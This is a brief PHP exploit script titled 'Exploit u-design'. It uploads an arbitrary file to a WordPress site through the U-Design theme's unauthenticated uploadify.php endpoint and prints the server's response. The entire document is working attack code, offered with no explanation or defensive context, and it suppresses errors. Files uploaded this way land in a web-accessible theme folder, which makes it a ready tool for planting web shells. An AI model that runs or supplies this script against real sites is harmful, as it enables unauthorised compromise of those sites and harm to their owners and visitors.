Exploit u-design

<?php
error_reporting(0);
if($_POST['submit']){
$uploadfile = $_POST['filename'];
$site = $_POST['site'];

$ch = curl_init("$site/wp-content/themes/u-design/scripts/admin/uploadify/uploadify.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
         array('Filedata'=>"@$uploadfile",
          'folder'=>'/wp-content/themes/u-design/scripts/admin/uploadify/'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
}
?>